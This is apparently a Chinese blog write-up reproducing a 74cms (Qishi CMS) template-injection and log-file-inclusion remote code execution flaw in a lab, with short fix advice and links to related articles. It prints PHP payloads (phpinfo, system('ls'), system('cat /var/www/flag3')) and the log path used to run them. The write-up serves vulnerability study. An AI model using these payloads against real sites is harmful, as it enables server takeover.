74cms v6.0.48模版注入+文件包含getshell复现

2024-05-10 09:30:01

漏洞描述

74cms由于函数过滤不严格导致攻击者可以通过构造执行任意代码

影响版本

骑士 CMS < 6.0.48

风险等级

高

漏洞环境搭建

74 cms: 74cms_Home_Setup_v6.0.20.zip
系统：ubuntu18.04.5
php环境：php 5.6
系统镜像：http://old-releases.ubuntu.com/releases/
web源码下载：https://www.74cms.com/download/index.html
准备好后直接把源码放到var/www/html目录下傻瓜式下一步下一步！

漏洞复现

①　首先构造含有phpinfo()函数的POST包：

<?php phpinfo(); ob_flush();?>/r/n

/var/www/html/data/Runtime/Logs/Home/Y_M_D.log
②　然后POST方式直接访问该日志文件，得到phpinfo的具体信息，得知一些禁用的php函数
③　按照上述1、2的方式通过构造未禁用的函数，进行命令执行得到flag

<?php system('ls /var/www/html'); ob_flush();?>/r/n<?php system('cat /var/www/flag3'); ob_flush();?>/r/n

访问/var/www/html/data/Runtime/Logs/Home/Y_M_D.log执行写入日志文件的命令

4）flag利用截图

<?php phpinfo(); ob_flush();?>/r/n

/var/www/html/data/Runtime/Logs/Home/Y_M_D.log

<?php system('ls /var/www/'); ob_flush();?>/r/n

!此时，这将作为一条日志写在默认的可执行的日志路径下：
/var/www/html/data/Runtime/Logs/Home/Y_M_D.log

<?php system('cat /var/www/flag3'); ob_flush();?>/r/n

访问/var/www/html/data/Runtime/Logs/Home/Y_M_D.log执行

修复建议

升级到最新版本
对函数做严格的过滤

74cms v6.0.48模版注入+文件包含getshell复现相关推荐

骑士CMS模版注入+文件包含getshell复现
声明好好学习,天天向上漏洞描述骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统.软件具执行效率高.模板自由切换.后台管理功能方便等诸多优秀特点. 骑 ...
(环境搭建+复现)74CMS模版注入+文件包含getshell
0x00 简介骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案. 0x01 漏洞概述骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞. ...
骑士cms文件包含getshell复现
00X1 测试环境骑士 CMS 6.0.48以下均存在此漏洞,本文复现使用骑士cms 6.0.20,下载地址: http://www.74cms.com/download/index.html 注意 ...
index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳漏洞原理攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...
[HXBCTF 2021]easywill writeup（WillPHP源码审计+利用pearcmd.php文件包含getshell）
[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell) [HXBCTF 2021]easywill 1.WillPHP ...
cms php vue 开源_骑士CMS文件包含+getshell
0x00简单介绍骑士cms人才系统,是一项基于php+mysql为核心的开源人才网站系统. 0x01漏洞概述骑士cms官方发布安全更新,修复了一处远程代码执行漏洞.由于骑士cms某些函数过滤不严谨 ...
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含缺陷复现及防御措施（CVE-2018-12613）
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文通过两个题目分享了DirBuster扫描目录.Fuzzy爆破指定路径名称,通 ...
phpmyadminV4.8.1本地文件包含漏洞复现
文章目录一.phpMyadmin简介二.什么是文件包含漏洞? 三.本地包含和远程包含四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结五.关于windows特性的一个小 ...
CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现
目录一.环境搭建 1.下载vulhub 2.启动环境二.漏洞复现 1.使用nmap扫描目标 2.运行POC验证漏洞 3.POC代码三.修复方法一.环境搭建 1.下载vulhub kali系统输 ...
php文件包含漏洞复现,文件包含漏洞(绕过姿势)
当你的才华还撑不起的野心时那你就应该静下心来学习目录文件包含漏洞介绍特殊姿势亲测有效 php文件包含漏洞本地包含漏洞(LFI) 远程包含漏洞文件包含利用读取敏感信息远程包含shel ...

最新文章

热门文章